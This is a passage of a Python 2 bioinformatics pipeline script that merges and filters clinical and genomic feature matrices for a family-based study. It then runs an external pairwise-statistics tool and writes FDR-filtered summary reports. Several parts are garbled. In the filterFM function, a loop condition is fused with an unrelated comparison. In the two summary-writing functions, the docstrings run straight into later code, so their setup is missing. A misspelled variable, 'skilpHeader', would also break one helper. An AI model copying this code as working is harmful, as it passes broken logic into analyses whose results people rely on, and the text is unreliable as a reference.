curClinFM:\n\t\ttmp = line.strip().split('\\t')\n\t\tfname = tmp[0].split(':')\n\t\t# place data in existing np array for indexing \n\t\tdata[:-1] = tmp[1:]\n\n\t\tftype = 'Data'\n\t\tif fname[2] in critP:\n\t\t\tftype = 'Critical_Phenotype'\n\t\tif fname[1]=='MRGE':\n\t\t\tnewFname = fname[0]+':FAM:'+fname[1]+':'+ftype+':'+fname[2]\n\t\telse:\n\t\t\tnewFname = fname[0]+':'+fname[3]+':'+fname[1]+':'+ftype+':'+fname[2]\n\t\tif fname[7]!='':\n\t\t\tnewFname = newFname+'_'+fname[7]\n\t\t# write name and indexed data to file\n\t\tfout.write(newFname+'\\t'+'\\t'.join(data[sampInd])+'\\n')\n\t\tif ftype == 'Critical_Phenotype':\n\t\t\tfout2.write(newFname+'\\t'+'\\t'.join(data[sampInd])+'\\n')\n\t\t\n\tfout.close()\n\tfout2.close()\n\tcurClinFM.close()\n\n\t\n\n\n\n\ndef _catOrderedFM(filenames,outfile,skipHeader=True):\n\tfor fname in filenames:\n\t\twith open(fname) as infile:\n\t\t\tif skilpHeader:infile.next()\n\t\t\tfor line in infile:\n\t\t\t\toutfile.write(line)\n\n\t\t\t\n\t\t\n\n\ndef filterFM(fmInPath,fmOutPath,maxMiss=.9,minObs=5):\n\t\"\"\"Filter a given feature matrix for statistically \n\tpoor features for use in pairwise code.\n\tfmInPath\tstr, path to the input feature matrix\n\tfmOutPath \tstr, path for the output feature matrix\n\tmaxMiss\t\tflaot, maximum fraction of missing calls allowed\n\tminObs\tint, min number of observations per catigorey\n\t\"\"\"\n\tfin = open(fmInPath)\n\tfout = open(fmOutPath,'w')\n\t\n\tfout.write('.')\n\tline = fin.next().strip().split('\\t')[1:]\n\tn = len(line)\n\tfor sampID in line:\n\t\tfout.write('\\t'+sampID)\n\tfout.write('\\n')\n\n\n\t\t\n\tfor line in fin:\n\t\ttmp = line.strip().split('\\t')\n\t\tfname = tmp[0].split(':')\n\t\t\n\t\t# skip if this does not meet stats preprocessing requierments\n\t\tskip = False\t\n\t\tif len(tmp[1:])!=n: \n\t\t\tskip = True\n\t\t\tlogging.warning('removing '+':'.join(fname)+', in correct number of columns.')\n\t\tif np.sum(np.array(tmp[1:],dtype=str)=='NA')>n*maxMiss:\n\t\t\tskip = True\n\t\t\tlogging.warning('removing '+':'.join(fname)+', too many missing values.')\n\t\tif fname[0]=='C':\n\t\t\t# check for size\n\t\t\tunique = list(set(tmp[1:]))\n\t\t\tif len(unique)>30:\n\t\t\t\tskip = True\n\t\t\t\tlogging.warning('removing '+':'.join(fname)+',too many catigories.')\n\t\tif fname[0]=='B':\n\t\t\t# check for size\n\t\t\tunique = list(set(tmp[1:]))\n\t\t\tif ('NA' in unique and len(unique)>3) or ('NA' not in unique and len(unique)>2):\n\t\t\t\tskip = True\n\t\t\t\tlogging.warning('removing '+':'.join(fname)+',too many catigories for binary.')\n\n\t\tif fname[0]=='B' or fname[0]=='C':\n\t\t\tunique = list(set(tmp[1:]))\n\t\t\tvalues = np.array(tmp[1:],dtype=str)\n\t\t\tfor label in unique:\n\t\t\t\tif np.sum(label==values) -1E-52) and np.median(values[~np.isnan(values)]) < 1E-52:\n\t\t\t\t# if the matrix is mostly zeros change it to binary, zero or else\n\t\t\t\tfname[0] = 'B'\n\t\t\t\tnewValues = np.array(np.zeros(len(values))*np.nan,dtype=str)\n\t\t\t\tnewValues[values > 1E-52] = '1'\n\t\t\t\tnewValues[values < 1E-52] = '0'\n\t\t\t\ttmp[1:] = newValues[:]\n\t\t\t\n\n\t\tif not skip:\n\t\t\tfout.write(':'.join(fname)+'\\t'+'\\t'.join(tmp[1:])+'\\n')\n\tfout.close()\n\tfin.close()\n\n\t\n\n\n\n\n\ndef catFM(fMNames,sampleIDs,foutPath,checkSampIDs=True,checkOpt={}):\n\t\"\"\"Concatenate multiple feature matrices together.\n\tAssumes first line is header for sample labels,\n\tand use sampleID to determine columns and their order.\n\tnan will be used to fill in missing samples,\n\tsample in sampleID but not in a FM header.\n\tfMnames\tlist of str paths for feature matrices to be cat'ed\n\tsampleIDs\tlist of str sample ids\n\tif checkSampIDs, then the sample header of each FM will be \n\tinspected to ensure the IDs are as expected, see \n\tcheckPatientID() for more info on options, checkOpt.\n\t\"\"\"\n\tfout = open(foutPath,'w')\n\tfout.write('.\\t'+'\\t'.join(sampleIDs)+'\\n')\n\tfor finName in fMNames:\n\t\t# allow reading of gzip files\n\t\tfin = genUtil.open2(finName)\n\t\tlabels = np.array(fin.next().strip().split('\\t')[1:],dtype='|S15')\n\n\t\t# doing some checking here to see labels are as expected\n\t\tif checkSampIDs:\n\t\t\tfor label in labels:\n\t\t\t\tcheckPatientID(label,checkOpt=checkOpt)\n\n\t\t#for sampleID in sampleIDs:\n\t\t#\tif not np.any(sampleID==labels):\n\t\t#\t\tlogging.warning('WARN0002: sample ID '+sampleID+' not found in feature matrix at '+ finName)\n\t\t#\tif np.sum(sampleID==labels)>1:\n\t\t#\t\tlogging.warning('WARN0003: sample ID '+sampleID+' had multiple entries in feature matrix at '+ finName+'. Using only the first.')\n\t\t# above is now done below, mostly...\n\n\t\t# get index for reordering the columns \n\t\tlogging.info('Reordering samples in '+ finName+' to conform to new sample list for merged FMs.')\n\t\t# get the index to conform the current FM to new sampList, missing values will be indexed at len(labels)\n\t\tsampInd = genUtil.getSampA2OrderSampBInd(labels,sampleIDs)\n\n\t\t# allocate an np array now, its faster, note that missing values idexed to len(labels)\n\t\tdata = np.array(np.zeros(len(labels)+1)+np.nan,dtype='|S15')\n\n\t\t# start appending data\n\t\tfor line in fin:\n\t\t\ttmp = line.strip().split('\\t')\n\t\t\tif len(tmp[1:])!=(len(labels)):\n\t\t\t\traise ValueError('ERR:0011, In feature matrix at '+finName+', the rows do not have equal lengths')\n\n\t\t\t# place data in existing np array for indexing, leave end nan to be consitant with sampInd \n\t\t\tdata[:-1] = tmp[1:]\n\t\t\tfout.write(tmp[0]+'\\t')\n\t\t\t\n\t\t\t\n\t\t\t# write the data in the new order given by sampInd, refering missing to end\n\t\t\tfout.write('\\t'.join(data[sampInd]))\n\t\t\tfout.write('\\n')\n\t\tfin.close()\n\n\tfout.close()\n\t\t\t\t\t\n\t\t\t\ndef _getFeatureNamesByGroup(fmPath,lookfor,feildInd):\n\t\"\"\"Going through feature names in fmPath,\n\trecord names that contain strings in the list \n\tlookfor in the corresponding field index, fieldInd.\n\t\"\"\"\n\tn = len(lookfor)\n\tif n!=len(feildInd):\n\t\traise ValueError('ERR:00013, lookfor string list must be equal to feildInd')\n\t# perp list of lists\n\tnameLists = []\n\tfor i in range(n):\n\t\tnameLists.append([])\n\tfin = open(fmPath)\n\t# skip header \n\tline = fin.next()\n\tfor line in fin:\n\t# go through each sample name:\n\t\tfname = line.strip().split('\\t')[0].split(':')\n\t\tfor i in range(n):\n\t\t# go through all lookfor strings\n\t\t\tif fname[feildInd[i]].find(lookfor[i])>=0:\n\t\t\t\tnameLists[i].append(':'.join(fname))\n\treturn nameLists\n\ndef _mkPairFile(nameList1,nameList2,foutPath):\n\t\"\"\"Create a file at foutPath that contains\n\tall pairs from nameList1 and 2. This file \n\tcan be used to guide the pairwise analysis.\n\t\"\"\"\n\twith open(foutPath,'w') as fout:\n\t\tfor name1 in nameList1:\n\t\t\tfor name2 in nameList2:\n\t\t\t\tfout.write(name1+'\\t'+name2+'\\n')\n\ndef mkPSPairFile(fmPath,foutPath,pairType='batch'):\n\t\"\"\"Make a preset (PS) pair file for use in pairwise \n\tanalysis on the feature matrix at fmPath.\n\tSave it to foutPath.\n\tCurrent presets pairType values:\n\tbatch\tcompare batch features to critical phenotypes to detect bias sampling\n\tQC \tcompare QC features to critical phenotypes to detect bias in confounding factors\n\tQCBatch\tcompare batch features to QC features to detect process changes\n\t\"\"\"\n\tif pairType=='batch':\n\t\tfeildInd = [3,3,3]\n\t\tlookfor = ['BATCH','Critical_Phenotype','summary_data']\n\t\tnameLists = _getFeatureNamesByGroup(fmPath,lookfor,feildInd)\n\t\tmarkerList = nameLists[0]\n\t\t# change as of 20141222 to include summary_data features with Critical_Phenotype features\n\t\tpredictorList = np.append(nameLists[1],nameLists[2])\n\t\t_mkPairFile(markerList,predictorList,foutPath)\n\telif pairType=='QC':\n\t\tfeildInd = [3,3,3]\n\t\tlookfor = ['QC','Critical_Phenotype','summary_data']\n\t\tnameLists = _getFeatureNamesByGroup(fmPath,lookfor,feildInd)\n\t\tmarkerList = nameLists[0]\n\t\t# change as of 20141222 to include summary_data features with Critical_Phenotype features\n\t\tpredictorList = np.append(nameLists[1],nameLists[2])\n\t\t_mkPairFile(markerList,predictorList,foutPath)\n\telif pairType=='QCBatch':\n\t\tfeildInd = [3,3]\n\t\tlookfor = ['QC','BATCH']\n\t\tnameLists = _getFeatureNamesByGroup(fmPath,lookfor,feildInd)\n\t\t_mkPairFile(nameLists[0],nameLists[1],foutPath)\n\n\telse:\n\t\traise ValueError('ERR:00014, pairType value is not in preset list.')\n\n\n\n\n\t\t\t\n\ndef runPairwise(fMPath,outDir,outPath,pwWhich='/titan/cancerregulome8/TCGA/scripts/pairwise-2.0.0-current',pairFile='',fdrFilter=''):\n\t\"\"\"Run the pairwise code found at pwWhich on feature matrix at\n\tfMName and save the output to outName.\n\t\"\"\"\n\t# construct the call to the pairwise script\n\tcall = pwWhich\n\t# check to see if we have a file to indicate the pairs to calculate\n\tif pairFile!='':\n\t\tcall = call+' --by-name '+pairFile\n\n\t# check to see if we have a setting for fdr filtered output\n\tif fdrFilter!='':\n\t\tcall = call+' -q '+str(fdrFilter)\n\n\n\tcall = call +' '+fMPath+' '+outPath\n\t# redirecting output to an info file\n\twith open(outDir+\"/stdout.out\",'w') as stdout:\n\t\tsubprocess.check_call(call,shell=True,stdout=stdout)\n\ndef _replaceNANs(x):\n\t\"\"\"Given the string array, replace\n\tany usable na value with 'nan' and return.\n\t\"\"\"\n\tfor i in range(len(x)):\n\t\tif x[i] in nanValues:\n\t\t\tx[i] = 'nan'\n\treturn (x)\n\n\ndef writePWSumLongSepTar(pwPath, repPath, minLogQ=2.0,nTopPairs=2):\n\t\"\"\"Takes the pairwise output at pwPath \n\tand parses it into a summary report at repPath\n\tby filtering out pairs with a log_10(FDR Q)'+str(minLogQ)+'.\\n')\n\t\t# write each section 1 by 1\n\t\tfor feature in uniqueFeatures:\n\t\t\trep.write('\\nResults for target feature: **'+feature+'**-\\n')\n\t\t\t\n\t\t\tpwTmp = pw[features==feature]\n\t\t\tp = np.array(pwTmp[:,5],dtype=str)\n\t\t\tp = _replaceNANs(p)\n\t\t\tp = 10.0**(-1*np.array(pwTmp[:,5],dtype=float))\n\t\t\t_,q,_ = statsUtil.fdr_bh(p)\n\t\t\tq = -1*np.log10(q)\n\t\t\t\n\t\t\tif np.any(q>minLogQ):\n\t\t\t\t# filter if too low\n\t\t\t\tpwTmp = pwTmp[q>minLogQ]\n\t\t\t\tq = q[q>minLogQ]\n\t\t\t\t# sort\n\t\t\t\tind = np.argsort(q)\n\t\t\t\tpwTmp = pwTmp[ind[-1::-1]]\n\t\t\t\tq = q[ind[-1::-1]]\n\n\t\t\t\tnSig = len(pwTmp)\n\t\t\t\trep.write(str(nSig) + ' significant hits found:\\n')\n\n\t\t\t\t# print individual results:\n\t\t\t\trep.write('\\tFName_1\\tFName_2\\tRho\\tlog_10(p)\\tlog_10(FDR Q)\\n')\n\t\t\t\tfor i in range(nSig):\n\t\t\t\t\tline = pwTmp[i]\n\t\t\t\t\trep.write('\\t'+line[0]+'\\t'+line[1]+'\\t'+line[3]+'\\t'+line[5]+'\\t'+str(q[i])+'\\n')\n\t\t\t\t\t# record top pairs\n\t\t\t\t\tif i < nTopPairs:\n\t\t\t\t\t\ttopPairsList.append([line[0],line[1]])\n\n\t\t\telse:\n\t\t\t\trep.write('\\t------None > min log(q)--------\\n')\n\treturn(topPairsList)\n\n\ndef writePWSumLong(pwPath, repPath, minLogQ=2.0,nTopPairs=2):\n\t\"\"\"Takes the pairwise output at pwPath \n\tand parses it into a summary report at repPath\n\tby filtering out pairs with a log_10(FDR Q)'+str(minLogQ)+'.\\n')\n\t\t# write each section 1 by 1\n\t\tfor source in uniqueSources:\n\t\t\trep.write('\\nResults for data source: **'+source+'**-\\n')\n\t\t\trep.write('\\tFName_1\\tFName_2\\tRho\\tlog_10(p)\\tlog_10(FDR Q)\\n')\n\t\t\tpwTmp = pw[dataSources==source]\n\t\t\tp = np.array(pwTmp[:,5],dtype=str)\n\t\t\tp = _replaceNANs(p)\n\t\t\tp = 10.0**(-1*np.array(pwTmp[:,5],dtype=float))\n\t\t\t_,q,_ = statsUtil.fdr_bh(p)\n\t\t\tq = -1*np.log10(q)\n\t\t\t\n\t\t\tif np.any(q>minLogQ):\n\t\t\t\t# filter if too low\n\t\t\t\tpwTmp = pwTmp[q>minLogQ]\n\t\t\t\tq = q[q>minLogQ]\n\t\t\t\t# sort\n\t\t\t\tind = np.argsort(q)\n\t\t\t\tpwTmp = pwTmp[ind[-1::-1]]\n\t\t\t\tq = q[ind[-1::-1]]\n\t\t\t\tfor i in range(len(pwTmp)):\n\t\t\t\t\tline = pwTmp[i]\n\t\t\t\t\trep.write('\\t'+line[0]+'\\t'+line[1]+'\\t'+line[3]+'\\t'+line[5]+'\\t'+str(q[i])+'\\n')\n\t\t\t\t\t# record top pairs\n\t\t\t\t\tif i < nTopPairs:\n\t\t\t\t\t\ttopPairsList.append([line[0],line[1]])\n\n\t\t\telse:\n\t\t\t\trep.write('\\t------None > min log(q)--------\\n')\n\treturn(topPairsList)\n\n\ndef splitPWResults(pwResultPath,outDir,fNameField,term='',fName='test'):\n\t\"\"\"This function is used to split the pairwise \n\tresult output, in pwResultsPath, into subsets,\n\tfor further processing downstream, the subset files\n\twill be saved in outDir as \n\t_subset_.dat.\n\tIf term='', we will extract each unique term \n\tfound in the specified feature name field, fNameField.\n\tE.g. fNameField=1 would separate the field after data\n\ttype, which is family member in the FAM FMs.\n\tIf term is specified only results with a feature name\n\tfield matching the exact term will be extracted.\n\tTo check the test feature, the first feature in \n\tthe pair, set fName='test'. To test the target \n\tfeature, the second feature in the pair, use 'target'.\n\tIf fName='both' it will run the same code on each so \n\tfor specific terms the result will be 'and' for no specific \n\tterm no logic yet implemented.\n\t\n\tReturns a list of subset strings\n\t\"\"\"\n\n\tpwResult = genUtil.open2(pwResultPath)\n\t\n\tpwResultName = os.path.splitext(os.path.basename(pwResultPath))[0]\n\t# prep a list to hold files if multiples are needed\n\tif term=='': \n\t\ttermFile = {}\n\t\ttermList = []\n\t\tif fName=='test':col = 0\n\t\telif fName=='target':col = 1\n\t\telse: raise ValueError('The fName '+fName+' is not yet a valid entry.')\n\telse: \n\t\tfout = open(outDir+'/'+pwResultName+'_subset_'+term+'.dat','w')\n\t\ttermList = [term]\n\t\t\n\n\tfor line in pwResult:\n\t\tif line[0]!='#':\n\t\t\tif term=='':\n\t\t\t\tcurTerm = line.strip().split('\\t')[col].split(':')[fNameField]\n\t\t\t\tcurTerm = curTerm.replace('/','_')\n\t\t\t\tif termFile.has_key(curTerm):\n\t\t\t\t\ttermFile[curTerm].write(line)\n\t\t\t\telse:\n\t\t\t\t\ttermFile[curTerm]=open(outDir+'/'+pwResultName+'_subset_'+curTerm+'.dat','w')\n\t\t\t\t\ttermFile[curTerm].write(line)\n\t\t\t\t\ttermList.append(curTerm)\n\t\t\telse:\n\t\t\t\traise ValueError('Specific terms not yet implemented')\n\t\n\tfor value in termFile.values(): value.close()\n\n\treturn termList\n\t\t\t\n\t\t\n\t\n\t\n\t\n\n\ndef _run2FMPW(FM1Path,FM2Path,pwOutPath,pwRepPath,outDir,pwWhich,samples=[],minLogQ=2.0,nTopPairs=2):\n\t\"\"\"Run pairwise between two exisitng FMs, creates tmp files in outDir\n\tthen removes them. PW output saved to pwOutPath. \n\tSummary created via writePWSumLongSepTar and saved to pwRepPath\n\tNote: if samples not indicated uses samples in FM1, \n\twill look for these labels in FM2 (ordernot need to \n\tbe exact and misisng labels will be set as nan).\n\t\"\"\"\n\tFM1 = open(FM1Path)\n\tif len(samples)==0:\n\t\t# get sample names\n\t\tsamples = FM1.next().strip().split('\\t')[1:]\n\telse: FM1.next()\n\n\t# get feature names for test list\n\ttestF = [line.strip().split('\\t')[0] for line in FM1]\n\tFM1.close()\n\t# get feature names for target list\n\tFM2 = open(FM2Path)\n\tFM2.next()\n\ttargF = [line.strip().split('\\t')[0] for line in FM2]\n\tFM2.close()\n\n\t# create pair list file for pw\n\tpairListPath = outDir+'/tmpPairList_'+str(random.randrange(16**5))+'.tsv'\n\t_mkPairFile(testF,targF,pairListPath)\n\n\t# join FMs for pairwise (could do it faster, but this has mulitple checks\n\tFMTmpPath = outDir+'/tmpFM_'+str(random.randrange(16**5))+'.tsv'\n\t\n\tcatFM([FM1Path,FM2Path],samples,FMTmpPath)\n\n\trunPairwise(FMTmpPath,outDir,pwOutPath,pwWhich=pwWhich,pairFile=pairListPath)\n\n\n\t# create a summary and plots\n\t#####NOTE: potential mem issue as this summary code loads the whole pw output as np file object!\n\ttopPairsList = writePWSumLongSepTar(pwOutPath, pwRepPath, minLogQ=minLogQ,nTopPairs=nTopPairs)\n\t# plot top pairs\n\tif len(topPairsList)>0:\n\t\tgenUtil.plotter(topPairsList,FMTmpPath,outDir=outDir)\n\t\tlogging.info(\"Plots of top scoring pairs saved in {}\".format(outDir))\n\n\tos.remove(pairListPath)\n\tos.remove(FMTmpPath)\n\n\t\n\n\ndef _runPresetMetaPW(outDir,outName,pairType,pwWhich,fmPath,minLogQ=2.0,nTopPairs=2):\n\tpairFile = outDir+'/pairwise_'+outName+'_pairList.dat'\n\tmkPSPairFile(fmPath,pairFile,pairType=pairType)\n\tlogging.info(\"Pairwise tests to run indicated in {}.\".format(pairFile))\n\t# run pairwise\n\tlogging.info(\"Running pairwise code, {}.\".format(pwWhich))\n\tpwOutPath = outDir+'/pairwise_'+outName+'_fullOut.dat'\n\trunPairwise(fmPath,outDir,pwOutPath,pwWhich=pwWhich,pairFile=pairFile)\n\tlogging.info(\"Full pairwise output saved at {}.\".format(pwOutPath))\n\tpwSumPath = outDir+'/pairwise_'+outName+'_summary.dat'\n\ttopPairsList = writePWSumLong(pwOutPath,pwSumPath,minLogQ=minLogQ,nTopPairs=nTopPairs)\n\tlogging.info(\"Summary of pairwise output saved at {}.\".format(pwSumPath))\n\t# plot top pairs\n\tif len(topPairsList)>0:\n\t\tprefix = 'pwPlot_'+outName\n\t\tgenUtil.plotter(topPairsList,fmPath,outDir=outDir,prefix=prefix)\n\t\tlogging.info(\"Plots of top scoring pairs saved in {} with prefix {}_.\".format(outDir,prefix))\n\n\t\n\n\ndef _parse_CmdArgs(parser):\n\tparser.add_argument(\"config\",help=\"Path to the configuration file that contains all settable parameters/options.\")\n\tparser.add_argument(\"-ow\",\"--over_write\", help=\"Force to overwrite any file in output dir specified in config file, except log.out, which is appended.\",\n\t\taction=\"store_true\")\n\treturn(parser.parse_args())\n\ndef main():\n\n\tlogName = 'log.out'\n\t\n\n\n\n\t# --get the input arguments\n\tparser = argparse.ArgumentParser(description=\"Run the\"+disc+' Version='+version+'.')\n\targs = _parse_CmdArgs(parser)\n\n\t\n\t#--setup the config parser\n\tconfig = ConfigParser.SafeConfigParser()\n\tconfig.read(args.config)\n\n\n\t# --set up the output dir\n\t# out directory \n\toutDir = config.get('genWF','outDir')\n\tif os.path.exists(outDir):\n\t\t# only overwrite if option is set\n\t\tif args.over_write:\n\t\t\tlogging.warning(\"Using an existing directory for output, previous files may be overwritten: {}\".format(outDir))\n\t\telse:\n\t\t\traise ValueError (\"The specified output dir already exists and the -ow command was not used to force overwrite.\".format(outDir))\n\telse:\n\t\tos.makedirs(outDir)\n\n\t\n\t# --setup logger and decrease level:\n\tlogging.getLogger('').handlers = []\n\tlogging.basicConfig(filename=outDir+'/'+logName, level=logging.INFO, format='%(asctime)s %(message)s')\n\tlogging.captureWarnings(True)\n\n\t# --record some basic information:\n\tlogging.info(\"--------------------------------------------------------------\")\n\tlogging.info(\"Running {}, {}, version={}...\".format(sys.argv[0],disc,version))\n\tlogging.info(\"--------------------------------------------------------------\")\n\n\t# --general setup\n\tlogging.info(\"--Getting some general information.\")\n\n\t# put a copy of the config file in the output dir\n\tshutil.copyfile(args.config,outDir+'/wf.cfg')\n\tlogging.info('A copy of the configuration file for this run was saved to '+outDir+'/wf.cfg')\n\t\n\tpwWhich = config.get('genWF','pwWhich')\t\n\n\t\n\t# need the sample list\n\tfmSampPath = config.get('genWF','fmSampPath')\n\tlogging.info(\"Standardizing to sample list in FM at {}.\".format(fmSampPath))\n\tsamples = getPatientOrder(fmSampPath)\n\n\t# get some parameters\n\t# minimum Log Q counted on summary reports\n\tminLogQ = float(config.get('genWF','minLogQ'))\n\t# number of max hits to plot data for after summary reports\n\tnTopPairs = int(config.get('genWF','nTopPairs'))\n\n\t#########--Format Clinical FM--#######\n\tif config.getboolean('genWF','runFrmtClinFM'): # GNMC data ---->\n\t\tlogging.info(\"--Formating Clinical FM--\\n\\tRunning scripts to format data for GAMCOP 101 FAM based study.\")\n\t\tpreClinFMPath = config.get('genWF','preClinFMPath')\n\t\toutFullClinFMPath = config.get('genWF','outFullClinFMPath')\n\t\toutCPClinFMPath = config.get('genWF','outCPClinFMPath')\n\t\tclin2FamForm(preClinFMPath,outFullClinFMPath,outCPClinFMPath,sampList=samples)\n\t\tlogging.info(\"The clinical FM at \"+preClinFMPath+\" has been formated and saved to \"+outFullClinFMPath+\" (full) and \"+outCPClinFMPath+\" (critical phenotypes only).\")\n\n\t\n\t#########--Get GNMC Data--########\n\t# get the genomic data from source files\n\tif config.getboolean('genWF','runGetGNMCData'): # GNMC data ---->\n\t\tlogging.info(\"--Getting GNMC Data--\\n\\tRunning scripts to get & format data from source.\")\n\t\n\t\t# -general info-\n\t\t# path to tsv of the individual sample ids (ids in VCF header for example) \n\t\tindSampListPath = config.get('genWF','indSampListPath')\n\t\tlogging.info(\"List of individual samples to collect GNMC data on at {}.\".format(indSampListPath))\n\t\tindSampList = np.loadtxt(indSampListPath,dtype=str,delimiter='\\t')\t\n\n\t\t# need the list of newborns for mapping to correct family\n\t\trepNBListPath = config.get('genWF','repNBListPath')\n\t\tlogging.info(\"List of representative newborns at {}.\".format(repNBListPath))\n\t\tnbList = genUtil.getRepNBList(repNBListPath)\n\n\n\t\t# -Batch-\n\n\t\tif config.getboolean('genWF','runGetGNMCBatch'):\n\t\t\tlogging.info(\"-Getting GNMC BATCH FM-.\") \n\n\t\t\t# parse the manifest file for gnmc batch info\n\t\t\tmanPath = config.get('genWF','manPath')\n\t\t\tlogging.info(\"Using CG manifest at {}.\".format(manPath))\n\t\t\tgnmcIndBatchFMOutPath = config.get('genWF','gnmcIndBatchFMOutPath') \n\t\t\tgnmcUtil.parseMkGenomeBatchFM(manPath,gnmcIndBatchFMOutPath,indSampList)\n\t\t\tlogging.info(\"Individual GNMC BATCH FM saved at {}.\".format(gnmcIndBatchFMOutPath))\n\t\t\t# move to family based FM\n\t\t\tgnmcFamBatchFMOutPath = config.get('genWF','gnmcFamBatchFMOutPath')\n\t\t\tgenUtil.indFM2FamFM(gnmcIndBatchFMOutPath,gnmcFamBatchFMOutPath,nbList,samples)\n\t\t\tlogging.info(\"Family based GNMC BATCH FM saved at {}.\".format(gnmcFamBatchFMOutPath))\n\n\t\t# -QC-\n\n\t\tif config.getboolean('genWF','runGetGNMCQC'):\n\t\t\tlogging.info(\"-Transforming GNMC QC FM-.\") \n\t\t\t# get the IND FM path:\n\t\t\tgnmcIndQCFMInPath = config.get('genWF','gnmcIndQCFMInPath')\n\t\t\t# get the ouput FAM FM\n\t\t\tgnmcFamQCFMOutPath = config.get('genWF','gnmcFamQCFMOutPath')\n\t\t\tgenUtil.indFM2FamFM(gnmcIndQCFMInPath,gnmcFamQCFMOutPath,repNBListPath,samples)\n\t\t\tlogging.info(\"The IND QC FM (\"+gnmcIndQCFMInPath+\") has been transformed to FAM format (\"+gnmcFamQCFMOutPath+\").\")\n\n\t\t# -meta merge-\n\n\t\tif config.getboolean('genWF','runGetGNMCMeta'):\n\t\t\tlogging.info(\"-Merge GNMC metadata-.\") \n\t\t\t# get the out FM path:\n\t\t\tgnmcMDFMOutPath = config.get('genWF','gnmcMDFMOutPath')\n\t\t\t# merge them\n\t\t\tcatFM([gnmcFamBatchFMOutPath,gnmcFamQCFMOutPath],samples,gnmcMDFMOutPath)\n\n\n\n\t\t# -Transform IND 2 FAM\n\t\tindFMPathList = config.get('genWF','indFMPathList')\n\t\tif not indFMPathList=='na':\n\t\t\tlogging.info(\"-Transform IND 2 FAM.\")\n\t\t\t# parse input paths \n\t\t\tindFMPathList = indFMPathList.split(',')\n\t\t\t# parse output paths\n\t\t\tfamFMPathList = config.get('genWF','famFMPathList').split(',')\n\t\t\t# parse filtered outputs\n\t\t\tfilterFMPathList = config.get('genWF','filterFMPathList').split(',')\n\t\t\tif (len(indFMPathList)==len(famFMPathList)) and (len(indFMPathList)==len(filterFMPathList)):\n\t\t\t\tfor i in range(len(indFMPathList)):\n\n\t\t\t\t\tlogging.info(\"Transforming IND FM at {} to FAM FM at {}.\".format(indFMPathList[i],famFMPathList[i]))\n\t\t\t\t\tgenUtil.indFM2FamFM(indFMPathList[i],famFMPathList[i],repNBListPath,samples)\n\n\t\t\t\t\tif not filterFMPathList[i]=='na':\n\t\t\t\t\t\tlogging.info(\"Filtering FAM FM for basic statistical tests.\")\n\t\t\t\t\t\tfilterFM(famFMPathList[i],filterFMPathList[i],minObs=0)\n\t\t\t\t\t\tlogging.info(\"Filtered FM at {} and saved to {}.\".format(famFMPathList[i],filterFMPathList[i]))\n\n\n\t\t\telse:\n\t\t\t\tlogging.warning('GNMC Transform IND 2 FAM NOT run as the FM in/out/filter path lists are diffrent sizes.')\n\n\n\n\t# <----- GNMC data \n\n\n\t###### --Run metadata analysis-- ######\n\tif config.getboolean('genWF','runMetadata'): # metadata analysis --->\n\t\tlogging.info(\"--Metadata Analysis--\\n\\tRunning standard association tests on metadata.\")\n\n\t\t# -collect data\n\t\tif config.getboolean('genWF','runCollectData'):\n\t\t\t# feature matrices to use:\n\t\t\tmetaFMs = []\n\t\t\t# mi rna\n\t\t\tmirMDFMPath = config.get('genWF','mirMDFMPath')\t\n\t\t\tif mirMDFMPath not in nanValues: metaFMs.append(mirMDFMPath)\n\t\t\t# rna seq\n\t\t\trnasMDFMPath = config.get('genWF','rnasMDFMPath')\n\t\t\tif rnasMDFMPath not in nanValues: metaFMs.append(rnasMDFMPath)\n\t\t\t# methylation \n\t\t\tmethMDFMPath = config.get('genWF','methMDFMPath')\n\t\t\tif methMDFMPath not in nanValues: metaFMs.append(methMDFMPath)\n\t\t\t# genomic \n\t\t\tgnmcMDFMPath = config.get('genWF','gnmcMDFMPath')\n\t\t\tif gnmcMDFMPath not in nanValues: metaFMs.append(gnmcMDFMPath)\n\t\t\t# extra data\n\t\t\textraMDFMPaths = config.get('genWF','extraMDFMPaths')\n\t\t\tif extraMDFMPaths not in nanValues: \n\t\t\t\tfor path in extraMDFMPaths.strip().split(','):\n\t\t\t\t\tmetaFMs.append(path)\n\n\t\t\tclinDataFMPath = config.get('genWF','clinDataFMPath')\n\t\t\tmetaFMs.append(clinDataFMPath)\n\n\t\t\tlogging.info(\"Considering metadata data stored at:\")\n\t\t\tfor fm in metaFMs:\n\t\t\t\tlogging.info(\"\\t{}.\".format(fm))\n\n\t\t\t# cat matrices together\n\t\t\tcombMDFMOutPath = config.get('genWF','combMDFMOutPath')\n\t\t\tcatFM(metaFMs,samples,combMDFMOutPath)\n\t\t\tlogging.info(\"Metadata stored in single FM at {}.\".format(combMDFMOutPath))\n\n\t\t# filter for pairwise\n\t\tif config.getboolean('genWF','runFilterFM'):\n\t\t\tlogging.info(\"Filtering metadata for basic statistical tests.\")\n\t\t\tfilteredFMInPath = config.get('genWF','filteredFMInPath')\n\t\t\tfilteredFMOutPath = config.get('genWF','filteredFMOutPath')\n\t\t\tfilterFM(filteredFMInPath,filteredFMOutPath,minObs=0)\n\t\t\tlogging.info(\"Filtered metadata at {} and saved to {}.\".format(filteredFMInPath,filteredFMOutPath))\n\n\n\n\t\t# -batch vs CP\n\t\tif config.getboolean('genWF','runBatchCP'):\n\t\t\tlogging.info(\"-Batch vs. Critical Phenotypes, id bias in sampling.\")\n\t\t\toutName = config.get('genWF','batchCPName')\n\n\t\t\t# get the list of tests\n\t\t\tfmPath = config.get('genWF','batchCPFMPath')\n\t\t\tpairType = 'batch'\n\t\t\t_runPresetMetaPW(outDir,outName,pairType,pwWhich,fmPath,minLogQ=minLogQ,nTopPairs=nTopPairs)\n\n\t\t\t\n\n\t\t# -QC vs CP\n\t\tif config.getboolean('genWF','runQCCP'):\n\t\t\tlogging.info(\"-QC vs. Critical Phenotypes, id bias in unknown latent variables.\")\n\t\t\toutName = config.get('genWF','qCCPName')\n\n\t\t\t# get the list of tests\n\t\t\tfmPath = config.get('genWF','qCCPFMPath')\n\t\t\tpairType = 'QC'\n\t\t\t_runPresetMetaPW(outDir,outName,pairType,pwWhich,fmPath,minLogQ=minLogQ,nTopPairs=nTopPairs)\n\n\n\n\t\t# -QC vs Batch\n\n\t\tif config.getboolean('genWF','runQCBatch'):\n\t\t\tlogging.info(\"-QC vs. Batch, id unexpected changes in process.\")\n\t\t\toutName = config.get('genWF','qCBatchName')\n\n\t\t\t# get the list of tests\n\t\t\tfmPath = config.get('genWF','qCBatchFMPath')\n\t\t\tpairType = 'QCBatch'\n\t\t\t_runPresetMetaPW(outDir,outName,pairType,pwWhich,fmPath,minLogQ=minLogQ,nTopPairs=nTopPairs)\n\n\t# 